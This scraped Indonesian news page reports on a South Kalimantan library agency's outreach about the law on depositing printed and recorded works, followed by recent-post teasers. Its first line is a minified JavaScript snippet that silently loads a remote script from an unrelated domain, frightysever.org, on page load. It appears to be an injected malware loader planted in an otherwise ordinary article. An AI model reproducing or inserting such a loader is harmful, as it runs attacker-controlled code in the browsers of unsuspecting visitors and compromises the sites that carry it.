(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Penulis dan Penerbit Harus Tahu UU Serah Simpan Karya Cetak dan Karya Rekam


BANJARMASIN, Guna menyamakan persepsi dalam hal penyimpanan karya baik berupa cetak maupun rekam, Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalsel menggelar sosialisasi UU Nomor 13 tahun 2018 tentang serah simpan karya cetak dan karya rekam, Kamis (7/11) siang.

Sosialisasi ini diikuti guru, pustakawan hingga penulis dari seluruh kabupaten/kota di Kalsel. Salah satu peserta, Dr Hatmiati Masy’ud mengatakan, acara ini sangat bagus karena memberikan wawasan bagi penulis dan pustakawan untuk memahami lebih jauh tentang seluk beluk penerbitan karya.

“Selain itu, para narasumber memang memberikan informasi yang jelas tentang seluk beluk karya sehingga para peserta mengerti bagaimana kalau ingin menerbitkan sebuah karya,” kata dosen STAI Rakha Amuntai ini, Kamis (7/11).

“Saya juga berterimakasih dengan Dispersip Kalsel yang telah memfasilitasi acara ini. Karena sangat jarang penulis mendapatkan informasi tentang penerbitan karya ini. Dan saya juga baru pertama kali mengikuti acara seperti ini,” tambahnya.

Senada, salah satu peserta lainnya Samsuni Sarman mengatakan, sebagai seorang yang aktif menulis, secara langsung membuka wawasan arti penting karya tersimpan di perpustakaan, selain aspek kearsipan juga aspek historis. “Sebagai penulis jelas pemahaman tentang UU ini menjadi kekuatan dalam berkarya yang memiliki nilai masa depan lebih baik,” kata guru di SDN Alalak Utara 1 Banjarmasin ini.

Sementara, Kepala Dispersip Provinsi Kalsel Dra Hj Nurliani Dardie mengutarakan, kegiatan ini bertujuan untuk menumbuhkan kesadaran penulis, penerbit dan produsen karya rekam untuk menyerahkan karya rekam. Sehingga, dapat menyelamatkan karya cetak dan karya rekam dari ancaman bahaya yang disebabhan oleh bencana alam maupun perbuatan manusia.

“Selain itu, untuk mewujudkan koleksi nasional dan melestarikannya sebagai hasil budaya bangsa dalam rangka menunjang pembangunan melalui pendidikan, penelitian, dan pengembangan iptek. Dan juga agar karya mereka para penulis bisa diketahui masyarakat luas terutama pengguna jasa perpustakaan,” jelas Bunda Nunung. (fikri)

Reporter : Fikri
Editor : Bie


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.